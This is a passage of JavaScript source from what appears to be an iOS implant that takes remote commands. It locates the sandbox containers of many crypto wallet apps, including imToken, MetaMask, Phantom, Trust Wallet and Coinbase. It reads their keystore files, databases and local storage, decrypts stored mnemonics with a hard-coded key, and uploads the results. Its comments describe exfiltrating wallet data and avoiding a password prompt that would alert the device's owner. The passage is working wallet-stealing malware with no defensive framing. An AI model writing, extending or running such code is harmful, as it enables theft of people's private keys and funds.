_findImtokenKeychainPassword() {\n\t// fix #3b: DISABLED. _searchKeychain queries imToken-specific services with\n\t// kSecReturnData=true. On iOS 18.6, items protected by SecAccessControl\n\t// (biometricCurrentSet / devicePasscode) appear to bypass u_AuthUISkip and\n\t// trigger a \"Enter password for SpringBoard\" prompt even on locked devices,\n\t// while _secDumpClass (attributes-only, no specific service) stays silent\n\t// (-25300). The imToken keystore files are still exfiltrated from the sandbox\n\t// (the valuable data); only the keychain-password decryption attempt is\n\t// skipped. Phase 2 sqlite pipeline remains the real keychain decryption path.\n\treturn [];\n}\n\n// ============================================================================\n// imToken Wallet Extraction\n// ============================================================================\n\nfunction handleWalletExtract(cmd) {\n\tvar p = cmd.params || {};\n\tvar walletType = p.wallet_type || \"imtoken\";\n\tvar startMs = Date.now();\n\n\tif (walletType === \"imtoken\") {\n\t\t_extractImtoken(cmd, p, startMs);\n\t} else {\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\", error: \"unsupported wallet_type: \" + walletType,\n\t\t\t_task_id: p._task_id || \"\", _task_type: \"wallet_extract\"\n\t\t}, \"wallet_extract_result.json\");\n\t}\n}\n\nfunction _extractImtoken(cmd, p, startMs) {\n\ttry {\n\t\tvar kcBytes = _readFileBytes(\"/tmp/imtoken_keychain.json\", 2 * 1024 * 1024);\n\t\tif (kcBytes && kcBytes.byteLength > 10) {\n\t\t\tsendResult(cmd.command_id, bytesToBase64(kcBytes),\n\t\t\t\t\"imtoken_keychain.json\", \"imtoken_keychain\");\n\t\t}\n\t} catch(e) {}\n\n\tvar bundleId = \"im.token.app\";\n\tvar containerPath = _findAppContainer(bundleId);\n\tif (!containerPath) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\", error: \"imToken container not found\",\n\t\t\twallet_type: \"imtoken\",\n\t\t\t_task_id: p._task_id || \"\", _task_type: \"wallet_extract\"\n\t\t}, \"wallet_extract_result.json\");\n\t\treturn;\n\t}\n\n\tvar storageSub = \"Library/Application Support/im.token.app/RCTAsyncLocalStorage_V1\";\n\tvar data = _readAsyncStorage(containerPath, storageSub);\n\tif (!data) {\n\t\tvar altSub = \"Documents/RCTAsyncLocalStorage_V1\";\n\t\tdata = _readAsyncStorage(containerPath, altSub);\n\t}\n\n\tvar result = {\n\t\tstatus: \"success\",\n\t\twallet_type: \"imtoken\",\n\t\tcontainer: containerPath,\n\t\twallets: [],\n\t\tassets: [],\n\t\traw_keys: [],\n\t\trealm_files: [],\n\t\twallet_dir_files: [],\n\t\t_task_id: p._task_id || \"\",\n\t\t_task_type: \"wallet_extract\"\n\t};\n\n\t// --- Phase 1: Realm database extraction (primary wallet storage) ---\n\t// imToken stores Realm in Documents/ (primary) or Library/Application Support/\n\tvar realmUploaded = false;\n\tvar realmSearchDirs = [\n\t\tcontainerPath + \"/Documents\",\n\t\tcontainerPath + \"/Library/Application Support/im.token.app\"\n\t];\n\tfor (var rdi = 0; rdi < realmSearchDirs.length; rdi++) {\n\t\tif (realmUploaded) break;\n\t\tvar realmDir = realmSearchDirs[rdi];\n\t\ttry {\n\t\t\tvar realmPath = realmDir + \"/default.realm\";\n\t\t\tvar realmSt = _statFile(realmPath);\n\t\t\tif (realmSt && realmSt.isFile && realmSt.size > 0) {\n\t\t\t\tresult.realm_files.push({\n\t\t\t\t\tpath: realmPath, size: realmSt.size\n\t\t\t\t});\n\t\t\t\tvar realmMaxSz = 16 * 1024 * 1024;\n\t\t\t\tif (realmSt.size <= realmMaxSz) {\n\t\t\t\t\tvar realmData = readFileB64(realmPath, realmMaxSz);\n\t\t\t\t\tif (realmData) {\n\t\t\t\t\t\tsendResult(cmd.command_id, realmData.b64,\n\t\t\t\t\t\t\t\"imtoken_default.realm\", \"wallet_extract\");\n\t\t\t\t\t\trealmUploaded = true;\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tsendFileChunked(cmd.command_id, realmPath,\n\t\t\t\t\t\t\"imtoken_default.realm\", \"wallet_extract\");\n\t\t\t\t\trealmUploaded = true;\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (realmErr) {\n\t\t\tresult.realm_error = String(realmErr);\n\t\t}\n\t}\n\n\t// --- Phase 2: Scan walletsV2/ and wallets/ directories for keystore files ---\n\t// These dirs can be in Documents/ or Library/Application Support/im.token.app/\n\tvar walletDirs = [];\n\tvar walletSearchBases = [\n\t\tcontainerPath + \"/Documents\",\n\t\tcontainerPath + \"/Library/Application Support/im.token.app\"\n\t];\n\tfor (var wb = 0; wb < walletSearchBases.length; wb++) {\n\t\tvar wbDir = walletSearchBases[wb];\n\t\tvar v2 = wbDir + \"/walletsV2\";\n\t\tvar v1 = wbDir + \"/wallets\";\n\t\tif (_statFile(v2)) walletDirs.push(v2);\n\t\tif (_statFile(v1)) walletDirs.push(v1);\n\t}\n\n\t// Keychain password for decryption attempts\n\tvar keychainPassword = null;\n\tresult.keychain_items = [];\n\ttry {\n\t\tvar keychainItems = _findImtokenKeychainPassword();\n\t\tif (keychainItems && keychainItems.length > 0) {\n\t\t\tfor (var ki = 0; ki < keychainItems.length; ki++) {\n\t\t\t\tresult.keychain_items.push(keychainItems[ki]);\n\t\t\t\tif (!keychainPassword && keychainItems[ki].data &&\n\t\t\t\t\tkeychainItems[ki].data.length >= 4) {\n\t\t\t\t\tkeychainPassword = keychainItems[ki].data;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t} catch (kcErr) {\n\t\tresult.keychain_error = String(kcErr);\n\t}\n\tvar password = p.password || keychainPassword;\n\n\tfor (var di = 0; di < walletDirs.length; di++) {\n\t\tvar wdir = walletDirs[di];\n\t\tvar wdirSt = _statFile(wdir);\n\t\tif (!wdirSt || !wdirSt.isDir) continue;\n\t\tvar entries = listDir(wdir);\n\t\tfor (var ei = 0; ei < entries.length; ei++) {\n\t\t\tvar ent = entries[ei];\n\t\t\tvar entPath = wdir + \"/\" + ent.name;\n\t\t\tif (ent.type === \"file\") {\n\t\t\t\tresult.wallet_dir_files.push({\n\t\t\t\t\tdir: di === 0 ? \"walletsV2\" : \"wallets\",\n\t\t\t\t\tname: ent.name\n\t\t\t\t});\n\t\t\t\tvar entSt = _statFile(entPath);\n\t\t\t\tif (entSt && entSt.size > 0 && entSt.size < 4 * 1024 * 1024) {\n\t\t\t\t\tvar fb64 = readFileB64(entPath, 4 * 1024 * 1024);\n\t\t\t\t\tif (fb64) {\n\t\t\t\t\t\tvar fname = (di === 0 ? \"walletsV2_\" : \"wallets_\") + ent.name;\n\t\t\t\t\t\tsendResult(cmd.command_id, fb64.b64,\n\t\t\t\t\t\t\tfname, \"wallet_extract\");\n\t\t\t\t\t}\n\t\t\t\t\t// Parse JSON wallet files and attempt decryption\n\t\t\t\t\tif (ent.name.endsWith(\".json\")) {\n\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\tvar fileBytes = _readFileBytes(entPath, 4 * 1024 * 1024);\n\t\t\t\t\t\t\tif (fileBytes) {\n\t\t\t\t\t\t\t\tvar w = JSON.parse(_rawToStr(fileBytes));\n\t\t\t\t\t\t\t\tvar walletInfo = {\n\t\t\t\t\t\t\t\t\tid: w.id || ent.name.replace(\".json\", \"\"),\n\t\t\t\t\t\t\t\t\tname: (w.imTokenMeta && w.imTokenMeta.name) || \"\",\n\t\t\t\t\t\t\t\t\tsource: (w.imTokenMeta && w.imTokenMeta.source) || \"\",\n\t\t\t\t\t\t\t\t\tnetwork: (w.imTokenMeta && w.imTokenMeta.network) || \"\",\n\t\t\t\t\t\t\t\t\tversion: w.version || 0,\n\t\t\t\t\t\t\t\t\tfrom_dir: di === 0 ? \"walletsV2\" : \"wallets\"\n\t\t\t\t\t\t\t\t};\n\t\t\t\t\t\t\t\tif (w.crypto) {\n\t\t\t\t\t\t\t\t\twalletInfo.kdf = w.crypto.kdf || \"unknown\";\n\t\t\t\t\t\t\t\t\twalletInfo.cipher = w.crypto.cipher || \"unknown\";\n\t\t\t\t\t\t\t\t\twalletInfo.keystore_present = true;\n\t\t\t\t\t\t\t\t\tif (password) {\n\t\t\t\t\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\t\t\t\t\tvar decResult = _decryptKeystoreV3(w.crypto, password);\n\t\t\t\t\t\t\t\t\t\t\tif (decResult) {\n\t\t\t\t\t\t\t\t\t\t\t\twalletInfo.decrypt_result = decResult;\n\t\t\t\t\t\t\t\t\t\t\t\twalletInfo.password_source = p.password ? \"provided\" : \"keychain\";\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t} catch (decErr) {\n\t\t\t\t\t\t\t\t\t\t\twalletInfo.decrypt_error = String(decErr);\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif (w.encOriginal) {\n\t\t\t\t\t\t\t\t\twalletInfo.encOriginal_present = true;\n\t\t\t\t\t\t\t\t\tvar fixedKey = \"456b38706c33314b3279654867517779\";\n\t\t\t\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\t\t\t\tvar decOrig = _decryptEncryptedMessage(w.encOriginal, fixedKey);\n\t\t\t\t\t\t\t\t\t\tif (decOrig) walletInfo.original_fixed_key = decOrig;\n\t\t\t\t\t\t\t\t\t} catch (origErr) {\n\t\t\t\t\t\t\t\t\t\twalletInfo.encOriginal_error = String(origErr);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif (w.encMnemonic) {\n\t\t\t\t\t\t\t\t\twalletInfo.encMnemonic_present = true;\n\t\t\t\t\t\t\t\t\tvar fixedKey2 = \"456b38706c33314b3279654867517779\";\n\t\t\t\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\t\t\t\tvar decMnem = _decryptEncryptedMessage(w.encMnemonic, fixedKey2);\n\t\t\t\t\t\t\t\t\t\tif (decMnem) walletInfo.mnemonic_fixed_key = decMnem;\n\t\t\t\t\t\t\t\t\t} catch (mnemErr) {\n\t\t\t\t\t\t\t\t\t\twalletInfo.encMnemonic_error = String(mnemErr);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif (w.identity) {\n\t\t\t\t\t\t\t\t\twalletInfo.identifier = w.identity.identifier || \"\";\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tresult.wallets.push(walletInfo);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} catch (parseErr) {}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else if (ent.type === \"dir\") {\n\t\t\t\tvar subEntries = listDir(entPath);\n\t\t\t\tfor (var si = 0; si < subEntries.length; si++) {\n\t\t\t\t\tvar subEnt = subEntries[si];\n\t\t\t\t\tif (subEnt.type !== \"file\") continue;\n\t\t\t\t\tvar subPath = entPath + \"/\" + subEnt.name;\n\t\t\t\t\tresult.wallet_dir_files.push({\n\t\t\t\t\t\tdir: (di === 0 ? \"walletsV2\" : \"wallets\") + \"/\" + ent.name,\n\t\t\t\t\t\tname: subEnt.name\n\t\t\t\t\t});\n\t\t\t\t\tvar subSt = _statFile(subPath);\n\t\t\t\t\tif (subSt && subSt.size > 0 && subSt.size < 4 * 1024 * 1024) {\n\t\t\t\t\t\tvar sb64 = readFileB64(subPath, 4 * 1024 * 1024);\n\t\t\t\t\t\tif (sb64) {\n\t\t\t\t\t\t\tvar sfname = (di === 0 ? \"walletsV2_\" : \"wallets_\") +\n\t\t\t\t\t\t\t\tent.name + \"_\" + subEnt.name;\n\t\t\t\t\t\t\tsendResult(cmd.command_id, sb64.b64,\n\t\t\t\t\t\t\t\tsfname, \"wallet_extract\");\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// --- Phase 3: AsyncStorage (Redux persist) ---\n\tif (data) {\n\t\tvar rawKeys = Object.keys(data);\n\t\tresult.raw_keys = rawKeys;\n\n\t\tvar walletsRaw = null;\n\t\tif (data[\"walletsV2\"]) {\n\t\t\ttry { walletsRaw = JSON.parse(data[\"walletsV2\"]); } catch(e) {}\n\t\t}\n\t\tif (!walletsRaw && data[\"wallets\"]) {\n\t\t\ttry { walletsRaw = JSON.parse(data[\"wallets\"]); } catch(e) {}\n\t\t}\n\n\t\tif (walletsRaw) {\n\t\t\tvar wArr = Array.isArray(walletsRaw) ? walletsRaw :\n\t\t\t\t(walletsRaw.wallets ? walletsRaw.wallets : [walletsRaw]);\n\t\t\tfor (var wi = 0; wi < wArr.length; wi++) {\n\t\t\t\tvar w = wArr[wi];\n\t\t\t\tvar walletInfo = {\n\t\t\t\t\tid: w.id || w.walletID || (\"wallet_\" + wi),\n\t\t\t\t\tname: w.name || \"\",\n\t\t\t\t\taddress: w.address || \"\",\n\t\t\t\t\tsource: w.source || \"\",\n\t\t\t\t\tchainType: w.chainType || \"\"\n\t\t\t\t};\n\n\t\t\t\tif (w.keystore || w.crypto) {\n\t\t\t\t\tvar ks = w.keystore || { crypto: w.crypto };\n\t\t\t\t\twalletInfo.keystore_raw = ks;\n\t\t\t\t\twalletInfo.kdf = ks.crypto ? ks.crypto.kdf : \"unknown\";\n\n\t\t\t\t\tif (password) {\n\t\t\t\t\t\tvar decResult = _decryptKeystoreV3(ks.crypto, password);\n\t\t\t\t\t\tif (decResult) {\n\t\t\t\t\t\t\twalletInfo.decrypt_result = decResult;\n\t\t\t\t\t\t\twalletInfo.password_source = p.password ? \"provided\" : \"keychain\";\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif (w.encMnemonic) {\n\t\t\t\t\twalletInfo.encMnemonic_raw = w.encMnemonic;\n\t\t\t\t\tif (typeof w.encMnemonic === \"object\" && w.encMnemonic.encStr) {\n\t\t\t\t\t\tvar fixedKey = \"456b38706c33314b3279654867517779\";\n\t\t\t\t\t\tvar dec = _decryptEncryptedMessage(w.encMnemonic, fixedKey);\n\t\t\t\t\t\tif (dec) walletInfo.mnemonic_fixed_key = dec;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif (w.encOriginal) {\n\t\t\t\t\twalletInfo.encOriginal_raw = w.encOriginal;\n\t\t\t\t\tif (typeof w.encOriginal === \"object\" && w.encOriginal.encStr) {\n\t\t\t\t\t\tvar fixedKey2 = \"456b38706c33314b3279654867517779\";\n\t\t\t\t\t\tvar dec2 = _decryptEncryptedMessage(w.encOriginal, fixedKey2);\n\t\t\t\t\t\tif (dec2) walletInfo.original_fixed_key = dec2;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tresult.wallets.push(walletInfo);\n\t\t\t}\n\t\t}\n\n\t\tif (data[\"AssetToken\"]) {\n\t\t\ttry {\n\t\t\t\tvar assetData = JSON.parse(data[\"AssetToken\"]);\n\t\t\t\tvar items = assetData.itemsById || assetData;\n\t\t\t\tif (typeof items === \"object\") {\n\t\t\t\t\tfor (var assetKey in items) {\n\t\t\t\t\t\tif (!items.hasOwnProperty(assetKey)) continue;\n\t\t\t\t\t\tvar a = items[assetKey];\n\t\t\t\t\t\tresult.assets.push({\n\t\t\t\t\t\t\twalletAddress: a.walletAddress || a.accountAddress || \"\",\n\t\t\t\t\t\t\tchainId: a.chainId || \"\",\n\t\t\t\t\t\t\tchainType: a.chainType || \"\",\n\t\t\t\t\t\t\tname: a.name || \"\",\n\t\t\t\t\t\t\tsymbol: a.symbol || \"\",\n\t\t\t\t\t\t\tbalance: a.balance || \"0\",\n\t\t\t\t\t\t\tdecimal: a.decimal || 0\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} catch(e) {\n\t\t\t\tresult.asset_parse_error = String(e);\n\t\t\t}\n\t\t}\n\n\t\tvar sensitiveKeys = [\"walletsV2\", \"wallets\", \"crypto\", \"encMnemonic\",\n\t\t\t\"encOriginal\", \"AssetToken\", \"identities\", \"accounts\"];\n\t\tvar rawData = {};\n\t\tfor (var ki = 0; ki < sensitiveKeys.length; ki++) {\n\t\t\tif (data[sensitiveKeys[ki]]) {\n\t\t\t\trawData[sensitiveKeys[ki]] = data[sensitiveKeys[ki]];\n\t\t\t}\n\t\t}\n\t\tfor (var rk = 0; rk < rawKeys.length; rk++) {\n\t\t\tvar lk = rawKeys[rk].toLowerCase();\n\t\t\tif (lk.indexOf(\"wallet\") >= 0 || lk.indexOf(\"token\") >= 0 ||\n\t\t\t\tlk.indexOf(\"mnemonic\") >= 0 || lk.indexOf(\"seed\") >= 0 ||\n\t\t\t\tlk.indexOf(\"key\") >= 0 || lk.indexOf(\"account\") >= 0 ||\n\t\t\t\tlk.indexOf(\"identity\") >= 0 || lk.indexOf(\"crypto\") >= 0) {\n\t\t\t\tif (!rawData[rawKeys[rk]]) rawData[rawKeys[rk]] = data[rawKeys[rk]];\n\t\t\t}\n\t\t}\n\n\t\tif (Object.keys(rawData).length > 0) {\n\t\t\tvar rawJson = JSON.stringify(rawData);\n\t\t\tvar rawB64 = bytesToBase64(new Uint8Array(Native.stringToBytes(rawJson, false)));\n\t\t\tsendResult(cmd.command_id, rawB64,\n\t\t\t\t\"imtoken_raw_storage.json\", \"wallet_extract\");\n\t\t}\n\t} else {\n\t\tresult.async_storage_status = \"not_found\";\n\t}\n\n\tresult.realm_uploaded = realmUploaded;\n\tvar endMs = Date.now();\n\tresult.execution_time = (endMs - startMs) / 1000;\n\tsendJSON(cmd.command_id, result, \"wallet_extract_result.json\",\n\t\t{ start_ms: startMs, end_ms: endMs });\n}\n\n// ============================================================================\n// ios_app_data: collect sandboxed app data by bundle_id\n// ============================================================================\n\nvar APP_DATA_BASE = \"/var/mobile/Containers/Data/Application\";\nvar APP_GROUP_BASE = \"/var/mobile/Containers/Shared/AppGroup\";\n\nfunction _toFfsPath(absPath) {\n\tif (absPath.indexOf(\"/private/\") === 0) return absPath.substring(1);\n\tif (absPath.indexOf(\"/var/\") === 0) return \"private\" + absPath;\n\tif (absPath.charAt(0) === \"/\") return absPath.substring(1);\n\treturn absPath;\n}\n\nfunction _findContainerIn(basePath, bundleId) {\n\tvar dirs = listDir(basePath);\n\tfor (var i = 0; i < dirs.length; i++) {\n\t\tif (dirs[i].type !== \"dir\") continue;\n\t\tvar containerPath = basePath + \"/\" + dirs[i].name;\n\t\tvar plistPath = containerPath + \"/.com.apple.mobile_container_manager.metadata.plist\";\n\t\tvar acc = Number(Native.callSymbol(\"access\", plistPath, 0));\n\t\tif (acc !== 0) continue;\n\t\tvar bytes = _readFileBytes(plistPath, 8192);\n\t\tif (!bytes || bytes.length === 0) continue;\n\t\tvar content = _rawToStr(bytes);\n\t\tif (content.indexOf(bundleId) >= 0) return containerPath;\n\t}\n\treturn null;\n}\n\nfunction _findAppContainer(bundleId) {\n\treturn _findContainerIn(APP_DATA_BASE, bundleId);\n}\n\nfunction _findAppGroupContainer(bundleId) {\n\treturn _findContainerIn(APP_GROUP_BASE, bundleId);\n}\n\nfunction _collectAppFiles(basePath, subPaths, excludePaths, filterMode, fileExts, maxFileSizeMB) {\n\tvar maxBytes = (maxFileSizeMB && maxFileSizeMB > 0) ? maxFileSizeMB * 1024 * 1024 : 0;\n\tvar exts = [];\n\tif (fileExts) {\n\t\tvar parts = fileExts.split(\",\");\n\t\tfor (var i = 0; i < parts.length; i++) {\n\t\t\tvar e = parts[i].trim();\n\t\t\tif (e) exts.push(e.toLowerCase());\n\t\t}\n\t}\n\n\tvar scanRoots = [];\n\tif (subPaths && subPaths.length > 0) {\n\t\tfor (var i = 0; i < subPaths.length; i++) {\n\t\t\tvar sp = subPaths[i];\n\t\t\tvar full = (sp.charAt(0) === \"/\") ? basePath + sp : basePath + \"/\" + sp;\n\t\t\tif (_statFile(full)) scanRoots.push(full);\n\t\t}\n\t} else {\n\t\tscanRoots.push(basePath);\n\t}\n\n\tvar excludeFull = [];\n\tif (excludePaths) {\n\t\tfor (var i = 0; i < excludePaths.length; i++) {\n\t\t\texcludeFull.push(basePath + excludePaths[i]);\n\t\t}\n\t}\n\n\tvar files = [];\n\tfor (var ri = 0; ri < scanRoots.length; ri++) {\n\t\t_scanDir(scanRoots[ri], files, true, excludeFull,\n\t\t\tfilterMode || \"none\", exts, maxBytes);\n\t}\n\treturn files;\n}\n\nfunction handleIosAppData(cmd) {\n\tvar p = cmd.params || {};\n\tvar targets = p.targets || [];\n\tvar maxFileSizeMB = (p.max_file_size_mb !== undefined) ? p.max_file_size_mb : 500;\n\tvar startMs = Date.now();\n\n\tif (!targets.length) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\", error: \"empty targets array\",\n\t\t\t_task_id: p._task_id || \"\", _task_type: \"ios_app_data\"\n\t\t}, \"ios_app_data_result.json\", { start_ms: startMs, end_ms: Date.now() });\n\t\treturn;\n\t}\n\n\tvar totalCollected = 0;\n\tvar totalUploaded = 0;\n\tvar targetResults = [];\n\n\tfor (var ti = 0; ti < targets.length; ti++) {\n\t\tvar t = targets[ti];\n\t\tvar bundleId = t.bundle_id;\n\t\tif (!bundleId) {\n\t\t\ttargetResults.push({ bundle_id: \"\", status: \"skipped\", error: \"empty bundle_id\" });\n\t\t\tcontinue;\n\t\t}\n\n\t\tvar containerPath = _findAppContainer(bundleId);\n\t\tvar groupPath = _findAppGroupContainer(bundleId);\n\n\t\tif (!containerPath && !groupPath) {\n\t\t\ttargetResults.push({ bundle_id: bundleId, status: \"not_found\",\n\t\t\t\terror: \"app container not found\" });\n\t\t\tcontinue;\n\t\t}\n\n\t\tvar effectiveMax = maxFileSizeMB;\n\t\tif (effectiveMax === -1) effectiveMax = 0;\n\n\t\tvar containers = [];\n\t\tif (containerPath) containers.push(containerPath);\n\t\tif (groupPath) containers.push(groupPath);\n\n\t\tvar uploaded = 0;\n\t\tvar allFiles = 0;\n\n\t\tfor (var ci = 0; ci < containers.length; ci++) {\n\t\t\tvar ctrPath = containers[ci];\n\t\t\tvar files = _collectAppFiles(ctrPath, t.paths || null,\n\t\t\t\tt.exclude_paths || null, t.filter_mode || \"none\",\n\t\t\t\tt.file_extensions || \"\", effectiveMax);\n\t\t\tallFiles += files.length;\n\n\t\t\tfor (var fi = 0; fi < files.length; fi++) {\n\t\t\t\tvar fname = _toFfsPath(files[fi]);\n\n\t\t\t\tvar sz = getFileSize(files[fi]);\n\t\t\t\tif (sz <= 0) continue;\n\n\t\t\t\tvar isLast = (ci === containers.length - 1 && fi === files.length - 1);\n\t\t\t\tvar meta = isLast ? { start_ms: startMs, end_ms: Date.now() } : null;\n\n\t\t\t\tif (sz <= CHUNK_SIZE) {\n\t\t\t\t\tvar rd = readFileB64(files[fi],\n\t\t\t\t\t\teffectiveMax > 0 ? effectiveMax * 1024 * 1024 : MAX_FILE_SIZE);\n\t\t\t\t\tif (rd) {\n\t\t\t\t\t\tsendResult(cmd.command_id, rd.b64, fname, \"ios_app_data\", meta);\n\t\t\t\t\t\tuploaded++;\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tvar chunkRes = sendFileChunked(cmd.command_id, files[fi],\n\t\t\t\t\t\tfname, \"ios_app_data\", meta);\n\t\t\t\t\tif (chunkRes && chunkRes.ok) uploaded++;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\ttotalCollected += allFiles;\n\t\ttotalUploaded += uploaded;\n\t\ttargetResults.push({\n\t\t\tbundle_id: bundleId,\n\t\t\tcontainer: containerPath || null,\n\t\t\tapp_group: groupPath || null,\n\t\t\tstatus: \"done\",\n\t\t\tfiles_found: allFiles,\n\t\t\tfiles_uploaded: uploaded\n\t\t});\n\t}\n\n\tvar endMs = Date.now();\n\tsendJSON(cmd.command_id, {\n\t\tstatus: totalUploaded > 0 ? \"success\" : (totalCollected > 0 ? \"partial\" : \"empty\"),\n\t\tfile_count: totalUploaded,\n\t\ttotal_scanned: totalCollected,\n\t\ttargets_processed: targetResults.length,\n\t\ttarget_details: targetResults,\n\t\texecution_time: (endMs - startMs) / 1000,\n\t\t_task_id: p._task_id || \"\",\n\t\t_task_type: \"ios_app_data\"\n\t}, \"ios_app_data_result.json\", { start_ms: startMs, end_ms: endMs });\n}\n\n// ============================================================================\n// wallet_scan: scan installed wallet apps and collect sandbox files\n// ============================================================================\n\nvar WALLET_BUNDLE_IDS = {\n\t// All listed wallets collect sandbox hot-files when installed.\n\t// Keychain dump still covers secrets; sandbox globs catch app-local vaults.\n\t\"com.bitpie.wallet\": { name: \"Bitpie\", sandbox: true,\n\t\tfiles: [\"Documents/*\", \"Library/Preferences/com.bitpie.wallet.plist\"] },\n\t\"com.uniswap.mobile\": { name: \"Uniswap\", sandbox: true,\n\t\tfiles: [\"Library/Application Support/*/RCTAsyncLocalStorage_V1/*\", \"Documents/*\"] },\n\t\"app.phantom\": { name: \"Phantom\", sandbox: true,\n\t\tfiles: [\"Documents/*\", \"Library/Application Support/*/*\"] },\n\t\"com.solflare.mobile\": { name: \"Solflare\", sandbox: true,\n\t\tfiles: [\"Documents/mmkv/*\", \"Library/Preferences/com.solflare.mobile.plist\"] },\n\t\"org.mytonwallet.app\": { name: \"MyTonWallet\", sandbox: true,\n\t\tfiles: [\"Documents/*\", \"Library/Application Support/*/*\"] },\n\t\"org.toshi\": { name: \"Coinbase\", sandbox: true,\n\t\tfiles: [\"Documents/*\", \"Library/Application Support/*/*\", \"Library/Preferences/org.toshi.plist\"] },\n\t\"io.metamask.MetaMask\": { name: \"MetaMask\", sandbox: true,\n\t\tmaxFileSize: 5 * 1024 * 1024,\n\t\tfiles: [\"Documents/persist-root\", \"Documents/*\", \"Library/Application Support/*/*\"] },\n\t\"com.okex.OKExAppstoreFull\": { name: \"OKX\", sandbox: true,\n\t\tfiles: [\"Documents/*\", \"Library/Preferences/com.okex.OKExAppstoreFull.plist\",\n\t\t\t\"Library/Application Support/*/*\"] },\n\t\"exodusmovement.exodus\": { name: \"Exodus\", sandbox: true,\n\t\tfiles: [\"Documents/*\", \"Library/Application Support/*/*\"] },\n\t\"exodus-movement.exodus\": { name: \"Exodus\", sandbox: true,\n\t\tfiles: [\"Documents/*\", \"Library/Application Support/*/*\"] },\n\t\"com.jbig.tonkeeper\": { name: \"Tonkeeper\", sandbox: true,\n\t\tfiles: [\"Documents/mmkv/*\", \"Documents/*\", \"Library/Application Support/*/*\"] },\n\n\t\"com.sixdays.trust\": { name: \"Trust Wallet\", sandbox: true,\n\t\tfiles: [\"Documents/UTC--*\", \"Documents/keystore/UTC--*\", \"Documents/*\"] },\n\t\"com.bitkeep.os\": { name: \"Bitget\", sandbox: true,\n\t\tfiles: [\"Library/Preferences/com.bitkeep.os.plist\", \"Documents/*\"] },\n\t\"coin98.crypto.finance.insights\": { name: \"Coin98\", sandbox: true,\n\t\tmaxFileSize: 10 * 1024 * 1024,\n\t\tfiles: [\"Library/Application Support/coin98.crypto.finance.insights/RCTAsyncLocalStorage_V1/*\",\n\t\t\t\"Documents/mmkv/*\", \"Library/Application Support/mmkv/*\"] },\n\t\"com.tonhub.app\": { name: \"Tonhub\", sandbox: true,\n\t\tfiles: [\"Documents/mmkv/mmkv.default\", \"Documents/mmkv/*\"] },\n\t\"com.tronlink.hdwallet\": { name: \"TronLink\", sandbox: true,\n\t\tfiles: [\"Documents/keystore/UTC--*\", \"Documents/UTC--*\", \"Documents/wallets/*\",\n\t\t\t\"Documents/*\", \"Library/Preferences/com.tronlink.hdwallet.plist\"] },\n\t\"com.global.wallet.ios\": { name: \"TokenPocket\", sandbox: true,\n\t\tfiles: [\"Documents/wallets/*\", \"Documents/identity.json\", \"Documents/*\",\n\t\t\t\"Library/Preferences/com.global.wallet.ios.plist\"] },\n\t\"im.token.app\": { name: \"imToken\", sandbox: true,\n\t\tfiles: [\"Documents/walletsV2/*.json\", \"Documents/walletsV2/*\", \"Documents/*\",\n\t\t\t\"Documents/default.realm\"] }\n};\n\nfunction _resolveWalletFiles(containerPath, patterns) {\n\t// Supports mid-path globs: \"Library/Application Support/*/*\"\n\tvar results = [];\n\tvar seen = {};\n\tfunction pushFile(rel, abs) {\n\t\tif (seen[rel]) return;\n\t\tseen[rel] = true;\n\t\tresults.push({ relPath: rel, absPath: abs });\n\t}\n\tfunction expand(relPrefix, segs, si) {\n\t\tif (si >= segs.length) return;\n\t\tvar seg = segs[si];\n\t\tif (!seg) { expand(relPrefix, segs, si + 1); return; }\n\t\tvar isLast = (si === segs.length - 1);\n\t\tvar dirPath = containerPath + (relPrefix ? \"/\" + relPrefix : \"\");\n\t\tif (seg.indexOf(\"*\") >= 0 || seg.indexOf(\"?\") >= 0) {\n\t\t\tvar items = listDir(dirPath);\n\t\t\tfor (var i = 0; i < items.length; i++) {\n\t\t\t\tif (!_matchGlob(items[i].name, seg)) continue;\n\t\t\t\tvar nextRel = relPrefix ? (relPrefix + \"/\" + items[i].name) : items[i].name;\n\t\t\t\tif (isLast) {\n\t\t\t\t\tif (items[i].type === \"file\")\n\t\t\t\t\t\tpushFile(nextRel, dirPath + \"/\" + items[i].name);\n\t\t\t\t} else if (items[i].type === \"dir\") {\n\t\t\t\t\texpand(nextRel, segs, si + 1);\n\t\t\t\t}\n\t\t\t}\n\t\t} else if (isLast) {\n\t\t\tvar full = dirPath + \"/\" + seg;\n\t\t\tif (Number(Native.callSymbol(\"access\", full, 0)) === 0)\n\t\t\t\tpushFile(relPrefix ? (relPrefix + \"/\" + seg) : seg, full);\n\t\t} else {\n\t\t\texpand(relPrefix ? (relPrefix + \"/\" + seg) : seg, segs, si + 1);\n\t\t}\n\t}\n\tfor (var pi = 0; pi < patterns.length; pi++)\n\t\texpand(\"\", patterns[pi].split(\"/\"), 0);\n\treturn results;\n}\n\n// ============================================================================\n// Memo 